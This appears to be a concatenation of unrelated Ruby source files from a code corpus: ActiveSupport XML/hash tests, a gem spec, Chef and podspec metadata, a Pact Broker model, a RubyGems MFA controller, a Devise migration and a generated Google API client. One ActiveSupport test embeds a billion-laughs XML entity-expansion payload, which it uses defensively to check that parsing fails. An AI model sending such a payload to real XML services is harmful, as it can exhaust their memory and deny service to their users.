Hash.from_xml '<product><name type="yaml">value</name></product>'
end
end
def test_from_xml_array_one
expected = { "numbers" => { "type" => "Array", "value" => "1" }}
assert_equal expected, Hash.from_xml('<numbers type="Array"><value>1</value></numbers>')
end
def test_from_xml_array_many
expected = { "numbers" => { "type" => "Array", "value" => [ "1", "2" ] }}
assert_equal expected, Hash.from_xml('<numbers type="Array"><value>1</value><value>2</value></numbers>')
end
def test_from_trusted_xml_allows_symbol_and_yaml_types
expected = { "product" => { "name" => :value }}
assert_equal expected, Hash.from_trusted_xml('<product><name type="symbol">value</name></product>')
assert_equal expected, Hash.from_trusted_xml('<product><name type="yaml">:value</name></product>')
end
def test_should_use_default_proc_for_unknown_key
hash_wia = HashWithIndifferentAccess.new { 1 + 2 }
assert_equal 3, hash_wia[:new_key]
end
def test_should_return_nil_if_no_key_is_supplied
hash_wia = HashWithIndifferentAccess.new { 1 + 2 }
assert_equal nil, hash_wia.default
end
def test_should_use_default_value_for_unknown_key
hash_wia = HashWithIndifferentAccess.new(3)
assert_equal 3, hash_wia[:new_key]
end
def test_should_use_default_value_if_no_key_is_supplied
hash_wia = HashWithIndifferentAccess.new(3)
assert_equal 3, hash_wia.default
end
def test_should_nil_if_no_default_value_is_supplied
hash_wia = HashWithIndifferentAccess.new
assert_nil hash_wia.default
end
def test_should_return_dup_for_with_indifferent_access
hash_wia = HashWithIndifferentAccess.new
assert_equal hash_wia, hash_wia.with_indifferent_access
assert_not_same hash_wia, hash_wia.with_indifferent_access
end
def test_allows_setting_frozen_array_values_with_indifferent_access
value = [1, 2, 3].freeze
hash = HashWithIndifferentAccess.new
hash[:key] = value
assert_equal hash[:key], value
end
def test_should_copy_the_default_value_when_converting_to_hash_with_indifferent_access
hash = Hash.new(3)
hash_wia = hash.with_indifferent_access
assert_equal 3, hash_wia.default
end
def test_should_copy_the_default_proc_when_converting_to_hash_with_indifferent_access
hash = Hash.new do
2 + 1
end
assert_equal 3, hash[:foo]
hash_wia = hash.with_indifferent_access
assert_equal 3, hash_wia[:foo]
assert_equal 3, hash_wia[:bar]
end
# The XML builder seems to fail miserably when trying to tag something
# with the same name as a Kernel method (throw, test, loop, select ...)
def test_kernel_method_names_to_xml
hash = { throw: { ball: "red" } }
expected = "<person><throw><ball>red</ball></throw></person>"
assert_nothing_raised do
assert_equal expected, hash.to_xml(@xml_options)
end
end
def test_empty_string_works_for_typecast_xml_value
assert_nothing_raised do
ActiveSupport::XMLConverter.new("").to_h
end
end
def test_escaping_to_xml
hash = {
bare_string: "First & Last Name",
pre_escaped_string: "First & Last Name"
}.stringify_keys
expected_xml = "<person><bare-string>First & Last Name</bare-string><pre-escaped-string>First &amp; Last Name</pre-escaped-string></person>"
assert_equal expected_xml, hash.to_xml(@xml_options)
end
def test_unescaping_from_xml
xml_string = "<person><bare-string>First & Last Name</bare-string><pre-escaped-string>First &amp; Last Name</pre-escaped-string></person>"
expected_hash = {
bare_string: "First & Last Name",
pre_escaped_string: "First & Last Name"
}.stringify_keys
assert_equal expected_hash, Hash.from_xml(xml_string)["person"]
end
def test_roundtrip_to_xml_from_xml
hash = {
bare_string: "First & Last Name",
pre_escaped_string: "First & Last Name"
}.stringify_keys
assert_equal hash, Hash.from_xml(hash.to_xml(@xml_options))["person"]
end
def test_datetime_xml_type_with_utc_time
alert_xml = <<-XML
<alert>
<alert_at type="datetime">2008-02-10T15:30:45Z</alert_at>
</alert>
XML
alert_at = Hash.from_xml(alert_xml)["alert"]["alert_at"]
assert alert_at.utc?
assert_equal Time.utc(2008, 2, 10, 15, 30, 45), alert_at
end
def test_datetime_xml_type_with_non_utc_time
alert_xml = <<-XML
<alert>
<alert_at type="datetime">2008-02-10T10:30:45-05:00</alert_at>
</alert>
XML
alert_at = Hash.from_xml(alert_xml)["alert"]["alert_at"]
assert alert_at.utc?
assert_equal Time.utc(2008, 2, 10, 15, 30, 45), alert_at
end
def test_datetime_xml_type_with_far_future_date
alert_xml = <<-XML
<alert>
<alert_at type="datetime">2050-02-10T15:30:45Z</alert_at>
</alert>
XML
alert_at = Hash.from_xml(alert_xml)["alert"]["alert_at"]
assert alert_at.utc?
assert_equal 2050, alert_at.year
assert_equal 2, alert_at.month
assert_equal 10, alert_at.day
assert_equal 15, alert_at.hour
assert_equal 30, alert_at.min
assert_equal 45, alert_at.sec
end
def test_to_xml_dups_options
options = {skip_instruct: true}
{}.to_xml(options)
# :builder, etc, shouldn't be added to options
assert_equal({skip_instruct: true}, options)
end
def test_expansion_count_is_limited
expected =
case ActiveSupport::XmlMini.backend.name
when "ActiveSupport::XmlMini_REXML"; RuntimeError
when "ActiveSupport::XmlMini_Nokogiri"; Nokogiri::XML::SyntaxError
when "ActiveSupport::XmlMini_NokogiriSAX"; RuntimeError
when "ActiveSupport::XmlMini_LibXML"; LibXML::XML::Error
when "ActiveSupport::XmlMini_LibXMLSAX"; LibXML::XML::Error
end
assert_raise expected do
attack_xml = <<-EOT
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE member [
<!ENTITY a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
<!ENTITY b "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
<!ENTITY c "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
<!ENTITY d "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
<!ENTITY e "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
<!ENTITY f "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
<!ENTITY g "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
]>
<member>
&a;
</member>
EOT
Hash.from_xml(attack_xml)
end
end
end
| 34.858996 | 169 | 0.692679 |
014fd3fcdd7f388295201b65d454f97d748e59d1 | 260 | require "./spec/spec_helper"
describe NDB do
describe ".configuration" do
it "allow confugiration of an api_key" do
NDB.configure do |config|
config.api_key = "abc123"
end
expect(NDB.api_key).to eq("abc123")
end
end
end
| 18.571429 | 45 | 0.646154 |
f850cbdbecd4f4229e45d270414cda3668b040b0 | 273 | name 'vagrant_repo'
maintainer 'Teemu Matilainen'
maintainer_email '[email protected]'
license 'Apache v2.0'
description 'Maintains package manager repositories for Vagrant'
version '0.1.0'
depends 'nginx', '~> 2.0'
| 30.333333 | 69 | 0.6337 |
799d5d1cfbf0351ea4e50181b5fb7a089a6e124e | 5,145 | require 'spec_helper'
describe "Mutations::StringFilter" do
it "allows valid strings" do
sf = Mutations::StringFilter.new
filtered, errors = sf.filter("hello")
assert_equal "hello", filtered
assert_equal nil, errors
end
it "allows symbols" do
sf = Mutations::StringFilter.new
filtered, errors = sf.filter(:hello)
assert_equal "hello", filtered
assert_equal nil, errors
end
it "allows Integers" do
sf = Mutations::StringFilter.new
filtered, errors = sf.filter(1)
assert_equal "1", filtered
assert_equal nil, errors
end
it "disallows non-string" do
sf = Mutations::StringFilter.new
[["foo"], {:a => "1"}, Object.new].each do |thing|
filtered, errors = sf.filter(thing)
assert_equal :string, errors
end
end
it "strips" do
sf = Mutations::StringFilter.new(:strip => true)
filtered, errors = sf.filter(" hello ")
assert_equal "hello", filtered
assert_equal nil, errors
end
it "doesn't strip" do
sf = Mutations::StringFilter.new(:strip => false)
filtered, errors = sf.filter(" hello ")
assert_equal " hello ", filtered
assert_equal nil, errors
end
it "considers nil to be invalid" do
sf = Mutations::StringFilter.new(:nils => false)
filtered, errors = sf.filter(nil)
assert_equal nil, filtered
assert_equal :nils, errors
end
it "considers nil to be valid" do
sf = Mutations::StringFilter.new(:nils => true)
filtered, errors = sf.filter(nil)
assert_equal nil, filtered
assert_equal nil, errors
end
it "considers empty strings to be invalid" do
sf = Mutations::StringFilter.new(:empty => false)
filtered, errors = sf.filter("")
assert_equal "", filtered
assert_equal :empty, errors
end
it "considers empty strings to be valid" do
sf = Mutations::StringFilter.new(:empty => true)
filtered, errors = sf.filter("")
assert_equal "", filtered
assert_equal nil, errors
end
it "considers stripped strings that are empty to be invalid" do
sf = Mutations::StringFilter.new(:empty => false)
filtered, errors = sf.filter(" ")
assert_equal "", filtered
assert_equal :empty, errors
end
it "considers long strings to be invalid" do
sf = Mutations::StringFilter.new(:max_length => 5)
filtered, errors = sf.filter("123456")
assert_equal "123456", filtered
assert_equal :max_length, errors
end
it "considers long strings to be valid" do
sf = Mutations::StringFilter.new(:max_length => 5)
filtered, errors = sf.filter("12345")
assert_equal "12345", filtered
assert_equal nil, errors
end
it "considers short strings to be invalid" do
sf = Mutations::StringFilter.new(:min_length => 5)
filtered, errors = sf.filter("1234")
assert_equal "1234", filtered
assert_equal :min_length, errors
end
it "considers short strings to be valid" do
sf = Mutations::StringFilter.new(:min_length => 5)
filtered, errors = sf.filter("12345")
assert_equal "12345", filtered
assert_equal nil, errors
end
it "considers bad matches to be invalid" do
sf = Mutations::StringFilter.new(:matches => /aaa/)
filtered, errors = sf.filter("aab")
assert_equal "aab", filtered
assert_equal :matches, errors
end
it "considers good matches to be valid" do
sf = Mutations::StringFilter.new(:matches => /aaa/)
filtered, errors = sf.filter("baaab")
assert_equal "baaab", filtered
assert_equal nil, errors
end
it "considers non-inclusion to be invalid" do
sf = Mutations::StringFilter.new(:in => %w(red blue green))
filtered, errors = sf.filter("orange")
assert_equal "orange", filtered
assert_equal :in, errors
end
it "considers inclusion to be valid" do
sf = Mutations::StringFilter.new(:in => %w(red blue green))
filtered, errors = sf.filter("red")
assert_equal "red", filtered
assert_equal nil, errors
end
it "converts symbols to strings" do
sf = Mutations::StringFilter.new(:strict => false)
filtered, errors = sf.filter(:my_sym)
assert_equal "my_sym", filtered
assert_equal nil, errors
end
it "converts integers to strings" do
sf = Mutations::StringFilter.new(:strict => false)
filtered, errors = sf.filter(1)
assert_equal "1", filtered
assert_equal nil, errors
end
it "converts booleans to strings" do
sf = Mutations::StringFilter.new(:strict => false)
filtered, errors = sf.filter(true)
assert_equal "true", filtered
assert_equal nil, errors
end
it "disallows symbols" do
sf = Mutations::StringFilter.new(:strict => true)
filtered, errors = sf.filter(:my_sym)
assert_equal :my_sym, filtered
assert_equal :string, errors
end
it "disallows integers" do
sf = Mutations::StringFilter.new(:strict => true)
filtered, errors = sf.filter(1)
assert_equal 1, filtered
assert_equal :string, errors
end
it "disallows booleans" do
sf = Mutations::StringFilter.new(:strict => true)
filtered, errors = sf.filter(true)
assert_equal true, filtered
assert_equal :string, errors
end
end
| 28.425414 | 65 | 0.678328 |
bfd3ec97047f2bc82a1ddcd10de38d3c22bb9172 | 705 | Pod::Spec.new do |s|
s.name = "commonios"
s.version = "0.1.0"
s.summary = "common library for swift"
s.homepage = "https://github.com/codemonarch/swift-common"
s.license = "MIT"
s.author = { "rarnu" => "[email protected]" }
s.platform = :ios, "8.0"
s.source = { :git => "https://github.com/codemonarch/swift-common.git", :tag => "#{s.version}" }
s.source_files = "commonios/*.{h,swift}", "commonios/**/*.{h,m}", "commonios/**/**/*.{h,c}", "commonios/**/**/**/*.{h,c}"
s.swift_version = "5"
s.xcconfig = {
'CLANG_CXX_LANGUAGE_STANDARD' => 'gnu++11',
'CLANG_CXX_LIBRARY' => 'libc++'
}
end
| 41.470588 | 126 | 0.520567 |
913eded2293d39967539af0b545fcb2958ee63d5 | 6,761 | require "sequel"
require "pact_broker/repositories/helpers"
require "pact_broker/verifications/latest_verification_for_pact_version"
require "pact_broker/verifications/latest_verification_id_for_pact_version_and_provider_version"
module PactBroker
module Pacts
class PactVersion < Sequel::Model(:pact_versions)
plugin :timestamps
plugin :upsert, identifying_columns: [:consumer_id, :provider_id, :sha]
one_to_many :pact_publications, reciprocal: :pact_version
one_to_many :verifications, reciprocal: :verification, order: :id, class: "PactBroker::Domain::Verification"
associate(:many_to_one, :provider, class: "PactBroker::Domain::Pacticipant", key: :provider_id, primary_key: :id)
associate(:many_to_one, :consumer, class: "PactBroker::Domain::Pacticipant", key: :consumer_id, primary_key: :id)
associate(:many_to_many, :consumer_versions, class: "PactBroker::Domain::Version", join_table: :pact_publications, left_key: :pact_version_id, right_key: :consumer_version_id, order: :order)
one_to_one(:latest_verification,
class: "PactBroker::Domain::Verification",
read_only: true,
dataset: lambda { PactBroker::Domain::Verification.where(id: PactBroker::Verifications::LatestVerificationIdForPactVersionAndProviderVersion.select(Sequel.function(:max, :verification_id)).where(pact_version_id: id)) },
key: :pact_version_id, primary_key: :id,
eager_block: lambda { | ds | ds.latest_by_pact_version }
)
# do not eager load this - it won't work because of the limit(1)
one_through_one(:latest_consumer_version, class: "PactBroker::Domain::Version", join_table: :pact_publications, left_key: :pact_version_id, right_key: :consumer_version_id) do | ds |
ds.unlimited.order(Sequel.desc(:order)).limit(1)
end
dataset_module do
include PactBroker::Repositories::Helpers
def for_pact_domain(pact_domain)
where(
sha: pact_domain.pact_version_sha,
consumer_id: pact_domain.consumer.id,
provider_id: pact_domain.provider.id
).single_record
end
def join_successful_verifications
verifications_join = {
Sequel[:verifications][:pact_version_id] => Sequel[:pact_versions][:id],
Sequel[:verifications][:success] => true
}
join(:verifications, verifications_join)
end
def join_provider_versions
join(:versions, { Sequel[:provider_versions][:id] => Sequel[:verifications][:provider_version_id] }, { table_alias: :provider_versions })
end
def join_provider_version_tags_for_tag(tag)
tags_join = {
Sequel[:tags][:version_id] => Sequel[:provider_versions][:id],
Sequel[:tags][:name] => tag
}
join(:tags, tags_join)
end
end
def name
"Pact between #{consumer_name} and #{provider_name}"
end
def provider_name
pact_publications.last.provider.name
end
def consumer_name
pact_publications.last.consumer.name
end
def latest_pact_publication
PactBroker::Pacts::PactPublication
.for_pact_version_id(id)
.remove_overridden_revisions_from_complete_query
.latest || PactBroker::Pacts::PactPublication.for_pact_version_id(id).latest
end
def latest_consumer_version_number
latest_consumer_version.number
end
def select_provider_tags_with_successful_verifications_from_another_branch_from_before_this_branch_created(tags)
tags.select do | tag |
first_tag_with_name = PactBroker::Domain::Tag.where(pacticipant_id: provider_id, name: tag).order(:created_at).first
verifications_join = {
Sequel[:verifications][:pact_version_id] => Sequel[:pact_versions][:id],
Sequel[:verifications][:success] => true
}
tags_join = {
Sequel[:tags][:version_id] => Sequel[:versions][:id],
}
query = PactVersion.where(Sequel[:pact_versions][:id] => id)
.join(:verifications, verifications_join)
.join(:versions, Sequel[:versions][:id] => Sequel[:verifications][:provider_version_id])
.join(:tags, tags_join) do
Sequel.lit("tags.name != ?", tag)
end
if first_tag_with_name
query = query.where { Sequel[:verifications][:created_at] < first_tag_with_name.created_at }
end
query.any?
end
end
def select_provider_tags_with_successful_verifications(tags)
tags.select do | tag |
PactVersion.where(Sequel[:pact_versions][:id] => id)
.join_successful_verifications
.join_provider_versions
.join_provider_version_tags_for_tag(tag)
.any?
end
end
def verified_successfully_by_any_provider_version?
PactVersion.where(Sequel[:pact_versions][:id] => id)
.join_successful_verifications
.any?
end
end
end
end
# Table: pact_versions
# Columns:
# id | integer | PRIMARY KEY GENERATED BY DEFAULT AS IDENTITY
# consumer_id | integer | NOT NULL
# provider_id | integer | NOT NULL
# sha | text | NOT NULL
# content | text |
# created_at | timestamp without time zone | NOT NULL
# messages_count | integer |
# interactions_count | integer |
# Indexes:
# pact_versions_pkey | PRIMARY KEY btree (id)
# unq_pvc_con_prov_sha | UNIQUE btree (consumer_id, provider_id, sha)
# Foreign key constraints:
# pact_versions_consumer_id_fkey | (consumer_id) REFERENCES pacticipants(id)
# pact_versions_provider_id_fkey | (provider_id) REFERENCES pacticipants(id)
# Referenced By:
# latest_pact_publication_ids_for_consumer_versions | latest_pact_publication_ids_for_consumer_v_pact_version_id_fkey | (pact_version_id) REFERENCES pact_versions(id) ON DELETE CASCADE
# latest_verification_id_for_pact_version_and_provider_version | latest_v_id_for_pv_and_pv_pact_version_id_fk | (pact_version_id) REFERENCES pact_versions(id) ON DELETE CASCADE
# pact_publications | pact_publications_pact_version_id_fkey | (pact_version_id) REFERENCES pact_versions(id)
# verifications | verifications_pact_version_id_fkey | (pact_version_id) REFERENCES pact_versions(id)
| 44.189542 | 227 | 0.654785 |
b9c478acefbd5ebe5bcfbeddc286f4f7de0df365 | 2,070 | class MultifactorAuthsController < ApplicationController
before_action :redirect_to_root, unless: :signed_in?
before_action :require_mfa_disabled, only: %i[new create]
before_action :require_mfa_enabled, only: :update
before_action :seed_and_expire, only: :create
helper_method :issuer
def new
@seed = ROTP::Base32.random_base32
session[:mfa_seed] = @seed
session[:mfa_seed_expire] = Gemcutter::MFA_KEY_EXPIRY.from_now.utc.to_i
text = ROTP::TOTP.new(@seed, issuer: issuer).provisioning_uri(current_user.email)
@qrcode_svg = RQRCode::QRCode.new(text, level: :l).as_svg
end
def create
current_user.verify_and_enable_mfa!(@seed, :ui_only, otp_param, @expire)
if current_user.errors.any?
flash[:error] = current_user.errors[:base].join
redirect_to edit_profile_url
else
flash[:success] = t('.success')
render :recovery
end
end
def update
if current_user.otp_verified?(otp_param)
if level_param == 'disabled'
flash[:success] = t('multifactor_auths.destroy.success')
current_user.disable_mfa!
else
flash[:error] = t('.success')
current_user.update!(mfa_level: level_param)
end
else
flash[:error] = t('multifactor_auths.incorrect_otp')
end
redirect_to edit_profile_url
end
private
def otp_param
params.permit(:otp).fetch(:otp, '')
end
def level_param
params.permit(:level).fetch(:level, '')
end
def issuer
request.host || 'rubygems.org'
end
def require_mfa_disabled
return unless current_user.mfa_enabled?
flash[:error] = t('multifactor_auths.require_mfa_disabled')
redirect_to edit_profile_path
end
def require_mfa_enabled
return if current_user.mfa_enabled?
flash[:error] = t('multifactor_auths.require_mfa_enabled')
redirect_to edit_profile_path
end
def seed_and_expire
@seed = session[:mfa_seed]
@expire = Time.at(session[:mfa_seed_expire] || 0).utc
%i[mfa_seed mfa_seed_expire].each do |key|
session.delete(key)
end
end
end
| 27.236842 | 85 | 0.704348 |
bf3f453413d56ce1497b1bfab763b89c78e43a6b | 776 | class DeviseInvitableAddToUsers < ActiveRecord::Migration[7.0]
def up
change_table :users do |t|
t.string :invitation_token
t.datetime :invitation_created_at
t.datetime :invitation_sent_at
t.datetime :invitation_accepted_at
t.integer :invitation_limit
t.references :invited_by, polymorphic: true
t.integer :invitations_count, default: 0
t.index :invitation_token, unique: true # for invitable
t.index :invited_by_id
end
end
def down
change_table :users do |t|
t.remove_references :invited_by, polymorphic: true
t.remove :invitations_count, :invitation_limit, :invitation_sent_at, :invitation_accepted_at, :invitation_token, :invitation_created_at
end
end
end
| 33.73913 | 141 | 0.704897 |
6186bd4714b929ab76426e8ff036c99c23e0aa38 | 70 | name 'themis-finals-customize-default'
description ''
version '1.0.1'
| 17.5 | 38 | 0.757143 |
1884167427d0ad8b3fd78bbcd95b436fa5f1821b | 135,929 | # frozen_string_literal: true
# Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Auto-generated by gapic-generator-ruby. DO NOT EDIT!
require "google/cloud/errors"
require "google/identity/accesscontextmanager/v1/access_context_manager_pb"
module Google
module Identity
module AccessContextManager
module V1
module AccessContextManager
##
# Client for the AccessContextManager service.
#
# API for setting [Access Levels]
# [google.identity.accesscontextmanager.v1.AccessLevel] and [Service
# Perimeters] [google.identity.accesscontextmanager.v1.ServicePerimeter]
# for Google Cloud Projects. Each organization has one [AccessPolicy]
# [google.identity.accesscontextmanager.v1.AccessPolicy] containing the
# [Access Levels] [google.identity.accesscontextmanager.v1.AccessLevel]
# and [Service Perimeters]
# [google.identity.accesscontextmanager.v1.ServicePerimeter]. This
# [AccessPolicy] [google.identity.accesscontextmanager.v1.AccessPolicy] is
# applicable to all resources in the organization.
# AccessPolicies
#
class Client
include Paths
# @private
attr_reader :access_context_manager_stub
##
# Configure the AccessContextManager Client class.
#
# See {::Google::Identity::AccessContextManager::V1::AccessContextManager::Client::Configuration}
# for a description of the configuration fields.
#
# @example
#
# # Modify the configuration for all AccessContextManager clients
# ::Google::Identity::AccessContextManager::V1::AccessContextManager::Client.configure do |config|
# config.timeout = 10.0
# end
#
# @yield [config] Configure the Client client.
# @yieldparam config [Client::Configuration]
#
# @return [Client::Configuration]
#
def self.configure
@configure ||= begin
namespace = ["Google", "Identity", "AccessContextManager", "V1"]
parent_config = while namespace.any?
parent_name = namespace.join "::"
parent_const = const_get parent_name
break parent_const.configure if parent_const.respond_to? :configure
namespace.pop
end
default_config = Client::Configuration.new parent_config
default_config.timeout = 60.0
default_config
end
yield @configure if block_given?
@configure
end
##
# Configure the AccessContextManager Client instance.
#
# The configuration is set to the derived mode, meaning that values can be changed,
# but structural changes (adding new fields, etc.) are not allowed. Structural changes
# should be made on {Client.configure}.
#
# See {::Google::Identity::AccessContextManager::V1::AccessContextManager::Client::Configuration}
# for a description of the configuration fields.
#
# @yield [config] Configure the Client client.
# @yieldparam config [Client::Configuration]
#
# @return [Client::Configuration]
#
def configure
yield @config if block_given?
@config
end
##
# Create a new AccessContextManager client object.
#
# @example
#
# # Create a client using the default configuration
# client = ::Google::Identity::AccessContextManager::V1::AccessContextManager::Client.new
#
# # Create a client using a custom configuration
# client = ::Google::Identity::AccessContextManager::V1::AccessContextManager::Client.new do |config|
# config.timeout = 10.0
# end
#
# @yield [config] Configure the AccessContextManager client.
# @yieldparam config [Client::Configuration]
#
def initialize
# These require statements are intentionally placed here to initialize
# the gRPC module only when it's required.
# See https://github.com/googleapis/toolkit/issues/446
require "gapic/grpc"
require "google/identity/accesscontextmanager/v1/access_context_manager_services_pb"
# Create the configuration object
@config = Configuration.new Client.configure
# Yield the configuration if needed
yield @config if block_given?
# Create credentials
credentials = @config.credentials
# Use self-signed JWT if the endpoint is unchanged from default,
# but only if the default endpoint does not have a region prefix.
enable_self_signed_jwt = @config.endpoint == Client.configure.endpoint &&
[email protected](".").first.include?("-")
credentials ||= Credentials.default scope: @config.scope,
enable_self_signed_jwt: enable_self_signed_jwt
if credentials.is_a?(::String) || credentials.is_a?(::Hash)
credentials = Credentials.new credentials, scope: @config.scope
end
@quota_project_id = @config.quota_project
@quota_project_id ||= credentials.quota_project_id if credentials.respond_to? :quota_project_id
@operations_client = Operations.new do |config|
config.credentials = credentials
config.endpoint = @config.endpoint
end
@access_context_manager_stub = ::Gapic::ServiceStub.new(
::Google::Identity::AccessContextManager::V1::AccessContextManager::Stub,
credentials: credentials,
endpoint: @config.endpoint,
channel_args: @config.channel_args,
interceptors: @config.interceptors
)
end
##
# Get the associated client for long-running operations.
#
# @return [::Google::Identity::AccessContextManager::V1::AccessContextManager::Operations]
#
attr_reader :operations_client
# Service calls
##
# List all [AccessPolicies]
# [google.identity.accesscontextmanager.v1.AccessPolicy] under a
# container.
#
# @overload list_access_policies(request, options = nil)
# Pass arguments to `list_access_policies` via a request object, either of type
# {::Google::Identity::AccessContextManager::V1::ListAccessPoliciesRequest} or an equivalent Hash.
#
# @param request [::Google::Identity::AccessContextManager::V1::ListAccessPoliciesRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload list_access_policies(parent: nil, page_size: nil, page_token: nil)
# Pass arguments to `list_access_policies` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param parent [::String]
# Required. Resource name for the container to list AccessPolicy instances
# from.
#
# Format:
# `organizations/{org_id}`
# @param page_size [::Integer]
# Number of AccessPolicy instances to include in the list. Default 100.
# @param page_token [::String]
# Next page token for the next batch of AccessPolicy instances. Defaults to
# the first page of results.
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Gapic::PagedEnumerable<::Google::Identity::AccessContextManager::V1::AccessPolicy>]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Gapic::PagedEnumerable<::Google::Identity::AccessContextManager::V1::AccessPolicy>]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def list_access_policies request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Identity::AccessContextManager::V1::ListAccessPoliciesRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.list_access_policies.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Identity::AccessContextManager::V1::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
options.apply_defaults timeout: @config.rpcs.list_access_policies.timeout,
metadata: metadata,
retry_policy: @config.rpcs.list_access_policies.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@access_context_manager_stub.call_rpc :list_access_policies, request, options: options do |response, operation|
response = ::Gapic::PagedEnumerable.new @access_context_manager_stub, :list_access_policies, request, response, operation, options
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Get an [AccessPolicy]
# [google.identity.accesscontextmanager.v1.AccessPolicy] by name.
#
# @overload get_access_policy(request, options = nil)
# Pass arguments to `get_access_policy` via a request object, either of type
# {::Google::Identity::AccessContextManager::V1::GetAccessPolicyRequest} or an equivalent Hash.
#
# @param request [::Google::Identity::AccessContextManager::V1::GetAccessPolicyRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload get_access_policy(name: nil)
# Pass arguments to `get_access_policy` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param name [::String]
# Required. Resource name for the access policy to get.
#
# Format `accessPolicies/{policy_id}`
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Google::Identity::AccessContextManager::V1::AccessPolicy]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Google::Identity::AccessContextManager::V1::AccessPolicy]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def get_access_policy request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Identity::AccessContextManager::V1::GetAccessPolicyRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.get_access_policy.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Identity::AccessContextManager::V1::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"name" => request.name
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.get_access_policy.timeout,
metadata: metadata,
retry_policy: @config.rpcs.get_access_policy.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@access_context_manager_stub.call_rpc :get_access_policy, request, options: options do |response, operation|
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Create an `AccessPolicy`. Fails if this organization already has a
# `AccessPolicy`. The longrunning Operation will have a successful status
# once the `AccessPolicy` has propagated to long-lasting storage.
# Syntactic and basic semantic errors will be returned in `metadata` as a
# BadRequest proto.
#
# @overload create_access_policy(request, options = nil)
# Pass arguments to `create_access_policy` via a request object, either of type
# {::Google::Identity::AccessContextManager::V1::AccessPolicy} or an equivalent Hash.
#
# @param request [::Google::Identity::AccessContextManager::V1::AccessPolicy, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload create_access_policy(name: nil, parent: nil, title: nil, create_time: nil, update_time: nil, etag: nil)
# Pass arguments to `create_access_policy` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param name [::String]
# Output only. Resource name of the `AccessPolicy`. Format:
# `accessPolicies/{access_policy}`
# @param parent [::String]
# Required. The parent of this `AccessPolicy` in the Cloud Resource
# Hierarchy. Currently immutable once created. Format:
# `organizations/{organization_id}`
# @param title [::String]
# Required. Human readable title. Does not affect behavior.
# @param create_time [::Google::Protobuf::Timestamp, ::Hash]
# Output only. Time the `AccessPolicy` was created in UTC.
# @param update_time [::Google::Protobuf::Timestamp, ::Hash]
# Output only. Time the `AccessPolicy` was updated in UTC.
# @param etag [::String]
# Output only. An opaque identifier for the current version of the
# `AccessPolicy`. This will always be a strongly validated etag, meaning that
# two Access Polices will be identical if and only if their etags are
# identical. Clients should not expect this to be in any specific format.
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Gapic::Operation]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Gapic::Operation]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
